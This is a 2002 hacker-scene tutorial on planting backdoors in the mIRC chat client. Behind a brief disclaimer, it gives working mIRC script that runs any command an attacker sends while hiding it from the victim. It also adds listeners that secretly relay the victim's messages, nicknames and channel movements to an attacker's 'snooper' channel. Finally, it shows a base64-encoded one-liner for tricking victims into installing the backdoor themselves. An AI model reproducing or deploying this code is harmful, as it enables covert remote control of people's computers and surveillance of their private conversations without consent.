-------------------------------------------------------------------------------- -=[ mIRC Backdoors - An advanced overview ]=- Started on Wed 30th January 2002 20:17 Completed on Mon 11th February 2002 12:09 Original paper was written in May 2001 Now Playing: The Ataris - San Dimas High School Football Rules.mp3 -ReDeeMeR- www.g0tr00t.net redeemer@g0tr00t.net This document is ©ReDeeMeR and NO PARTS MAY BE TAKEN OR MODIFIED without the authors permission. -=[------ Authors' Note ------]=- Backdooring somebody's IRC client is *not* "cool". You are not "leet" if you do this. I do not condone it in any way whatsoever. In fact I take an immediate dislike to people who do participate in this activity (and activities of a similar nature). I am writing this paper for one sole reason; a guy e-mailed me and asked me to write up some stuff on the topic for his paper on backdoors. Please note: An intermediate/advanced knowledge in mIRC and the mIRC scripting language is ideal before reading this tutorial, although not essential. -=[------ Introduction ------]=- Okay, so what is mIRC? Why do we want to backdoor it? What do we gain from backdooring it? There are many questions and there are an infinite number of answers. Basically, mIRC is an IRC client written for Windows. IRC (Internet Relay Chat) is a protocol which is essentially a service running to host "chat rooms". More information on the IRC protocol can be found at -(hxxp://www.mirc.co.uk/help/rfc1459.txt)-. mIRC itself is now fairly advanced, it started out as a bog standard (GUI) IRC client and has evolved into the world's favourite IRC client. As it evolved, the author (Khaled Mardam-Bey) designed a scripting language for mIRC, the "mIRC scripting language", funnily enough. This small language is only interpretable in the mIRC client; there are no "mIRC script" compilers or interpreters available. This new add-on enabled so many more new, unexplored options to be used with mIRC - people could now write their own scripts to customise their mIRC to how *they* want it. You could now do pretty much anything with mIRC, your IRC client could now become your web browser, file server, FTP client, ICQ client, whatever! Providing you wrote the script(s), it would do it. People became fluent in the mIRC scripting language and they started to release full mIRC scripts, which were add-ons if you like, for the mIRC client which included many features which they had created for public use. Some scripts became very popular and thousands of people downloaded them. This new scripting language was now a success and the whole world was involved. So, why does this interest us? Well, the mIRC scripting language is essentially a complete language, you can do _anything_ with it. You can write socket scripts to connect to remote hosts, you can write war scripts to takeover IRC channels, you can write popups to slap your pals with trout's, you can write !8ball scripts to keep everyone entertained. The list is endless. But remember, I said you can do _anything_ with this language. There are commands which (over)write to disk, there are commands which read (and print) files. Some of these commands are dangerous when used in the wrong environment. But it doesn't stop there. There are some mIRC "remotes" (see mIRC.hlp, shipped with the mIRC client) which can be used to setup servers and backdoors, without the user noticing any differences. This tutorial is about these remotes and commands and how to use them in a dangerous way. I will teach you the basics of how mIRC backdoors work and will show a few examples of backdoors. -=[------ What remote listeners do we need to use? ------]=- Okay well mIRC has many "remote listeners" (I am not sure of the actual term, so I will use the term "remote listeners" from here onwards. This applies to a piece of script which is in the form "on *:EVENT:*:{ Commands here }", for example "on *:TEXT:*trout*:*:{ /say Ouch ! }") and a lot of them are of no use to us for what we are trying to achieve. The remote listeners that we are interested in in this paper are: ctcp *:*:*:{ } on *:NICK:{ } on *:JOIN:#:{ } on *:TEXT:*::*:{ } on *:QUIT:{ } on *:PART:#:{ } -=[------ Where do we begin? ------]=- Alright, so hopefully we're now ready to look at an example of a mIRC backdoor. This backdoor is small, merely one line of code: ctcp ^*O:*:{ . $+ $2- | .halt } Now, if you're looking at that and wondering "What the ..." then I suggest you buck up your knowledge of the mIRC scripting language before continuing, otherwise you will find this hard to understand. I'll break the code down for you and try to provide an understandable explanation. It starts with "ctcp ^*:", which tells the script to listen for any incoming CTCP events (from any user level (See mIRC.hlp "Access Levels")). If you didn't know that, then do some reading. Next we have "DO:" which tells the script that the ctcp event we are listening for is DO (/ctcp user DO, similar to /ctcp user PING, for example). After that we come to a "*:" which tells the script that the ctcp event can be in any form (this is not important). Then we have the open curly bracket which tells the script to execute the commands enclosed in the brackets if all of the above conditions are met. The command inside the curly brackets is ". $+ $2- | .halt". The period/dot/full stop is a feature in mIRC which if used, makes the commands executed "invisible" to the user -- they do not see them happening. Try it yourself, make a popup to slap somebody, but make it execute "/.me slaps you". So we know that whatever is executed in this remote listener will not be seen by our victim. Which is a good thing, right? After the period/dot/full stop we come to a dollar sign with a plus sign appended to it. This "attaches" one value to another. So if I printed "hell $+ o world" it would print "hello world". We tend to use $+ when appending one $variable to another, because a simple $one$two would not work. Following the $+ we have $2-, which takes the second value specified and everything after it (the "-" defines this. If it was merely $2 then it would just be the second value specified). So when someone executes /ctcp nickname DO blah blah, "DO" is the value assigned to $1 and "blah" is the value assigned to $2. The value assigned to $2- would be "blah blah". Then it finishes with "| .halt". This merely ends the first command and executes a second command, ".halt", which makes everything that was executed before it not be seen by the victim. So let's analyse what we have here. If somebody executes "/ctcp nickname DO msg ReDeeMeR asdf", what would happen? Ok, well, our remote listener is set to listen for an incoming CTCP DO event and if we receive one it then executes the command . $+ $2-, which in this example would be .msg ReDeeMeR asdf. So our victim would message user "ReDeeMeR" the text "asdf" and the important factor here is that they would not know they have done it -- they see nothing. There we have it, a working and functional backdoor, in one small line of code! It is important to remember that this backdoor is not used with "/ctcp nickname DO /msg ReDeeMeR asdf", the forward slash is not required, otherwise they would execute "./msg ReDeeMeR asdf", which wouldn't work. -=[------ Further advanced backdoors ------]=- The backdoor which was explained above is all very well, but the user can be lost, what if they part all channels and then change their nickname? You may have lost them. So the answer to this is that you can create a more advanced backdoor which enables you to view the victims' movements more easily. The disadvantage of this backdoor type is that it requires more than one line of code, so hiding it in scripts is more difficult and socially engineering them to paste it into their remotes file will need more convincing. Before constructing this backdoor, we need to record all of the ways that our victim can escape us. Then we need to write some code that will inform us of any changes that may have an impact on our black hat activities concerning them. So firstly, we need to set up a "snooper" chan which will be used to monitor our victims' movements. Anything they do will be sent to this chan. In my example I will use the channel "#hellsnooper", but you can call your snooping chan whatever you wish, just make sure the chanmode is -n! Once you have setup your snooper chan, you need to start constructing the backdoor. Firstly you need to write down all of the ways in which the victim can escape us. These are what I came up with a few years ago: * QUIT - They can /quit IRC and you've lost them for good ... nothing we can do about that * PART - They can /part a #chan or even /partall * NICK - They can change their nickname These three events are the main ways in which our victim can escape our attention. So we need to code some remote listeners which either counter act these events or inform us of the changes made. Take a look at this code snippet: on *:PART:#:{ .msg #hellsnooper I have just parted $chan } Obviously, this would message #hellsnooper the details of the #chan(s) which the victim has just parted. So ideally the victim will now no longer be able to /partall AND lose us. Remember that the dot "." hides the command from the victim. Next we need to counter act the /nick change, or inform us of the change. So check out this code snippet: on *:NICK:{ .msg #hellsnooper My nickname is now $newnick (previously $nick ) } This code informs us of the victims new nickname and it tells us what his old nickname was, in case we have multiple victims (dream on . Now our victim can not lose our attention by changing his nickname. The only way to let us know if our victim has left IRC is to modify the /quit alias. So in the aliases section we need to add our new alias, like this: /quit { .msg #hellsnooper I have /quit IRC (Reason: $1-) ! | .raw -q quit $1- } This new alias is exactly the same as the old /quit alias, the only difference is that it messages our #hellsnooper chan beforehand letting us know that the victim has left IRC. Those three remote listeners should cover any methods of escape, so now you have a perfectly functioning backdoor to play with. But what if you're more intrigued as to what our victim gets up to? Well you can monitor practically everything they do inside their mIRC client whilst they're connected to the same server as you are. Let's assume you're a nosey person and you want to see what your victim is typing in other #chans or windows. Take a look at the following remote listener: on *:TEXT:*:#:{ .msg #hellsnooper I have just said " $+ $1- $+ " in $chan } By now I would imagine you can see what this remote listener does. Now look at this remote listener: on *:TEXT:*{ .msg #hellsnooper I have just said " $+ $1- $+ " to $active } Can you see what this one does? It does the same as the first, but it triggers when the victim types something in a window which is not a #chan. You may also want to create a remote listener for any events inside a DCC CHAT window. Use on *:TEXT:*{ margh42 } to do that. You might want to see which #chans your victim is joining, so set this one up too: on *:JOIN:#:{ .msg #hellsnooper I have just joined $chan } You can work out what that one does, for sure. -=[------ So now what? I have my backdoor ready! ------]=- OK, good, you're ready to infect your victim(s). But are you sure your backdoor works completely? You don't want to hand it out and then find that it doesn't work, because you probably only have one shot at this before the victim(s) become(s) suspicious. So the first thing you must do is thoroughly check the backdoor to be certain that it is functional and reliable. Once you have done that you need to decide how you are going to spread the backdoor. There are three (main) ways of doing this. Firstly, you can create an entire mIRC script and hide your backdoors in there and hope that you victim(s) do not notice. That method is fine, but it only gains you random victims, you (usually) can't target somebody that way. Secondly, you can get the victim to paste the remote listeners into their remote files. This requires a victim who is completely brain dead and they must trust you totally. Thirdly, you can get them to type a few commands to set it up. Check this out: /.timer 1 2 /.msg #ch0wn Owned ... | /.timer 1 10 /.load -rs c:\testing.mrc | /.write c:\testing.mrc ctcp ^*O:*:{ . $chr(36) $+ $chr(43) $chr(36) $+ 2 $+ - $chr(124) $chr(46) $+ halt $chr(125) This is all perfectly well and good, but most victims can see through that and will bite your head off for it. So you need to $encode it with something. Hit [F1] in mIRC and look up $encode. It's our lucky day! Basically the $encode function encodes a string into MIME type or various other (weak) encryption methods. But there is also a $decode function too. So what you can do is encode that command string above and get them to $decode it, which will execute it if you tell them to do it under the right circumstances. Eg, //$decode(Ly50aW1lciAxIDIgLy5tc2cgI2NoMHduIE93bmVkIC4uLiB8IC8udGltZXIgMSAxMCAvLmxvYWQgLXJzIGM6XHRlc3RpbmcubXJjIHwgLy53cml0ZSBjOlx0ZXN0aW5nLm1yYyBjdGNwIF4qOkRPOio6eyAuICRjaHIoMzYpICQrICRjaHIoNDMpICRjaHIoMzYpICQrIDIgJCsgLSAkY2hyKDEyNCkgJGNocig0NikgJCsgaGFsdCAkY2hyKDEyNSk=,m) DON'T ACTUALLY TYPE THAT BECAUSE IT WILL BACKDOOR YOUR mIRC ! Now, can you dissect that $decode function to see what it does? I'll leave you to it. -=[------ Conclusion ------]=- I think I have now provided you with enough knowledge about mIRC backdoors to be aware of the risks and how to practically implement some of the ideas shown. However, I must stress that if you do backdoor somebody's mIRC without their consent, you could be in big trouble. Participate at your own risk. So to conclude this paper I would like to firstly thank you for reading it. If you have any constructive criticism, ideas, whatever, drop me a mail at redeemer@g0tr00t.net. For more papers of a similar nature visit hxxp://www.g0tr00t.net.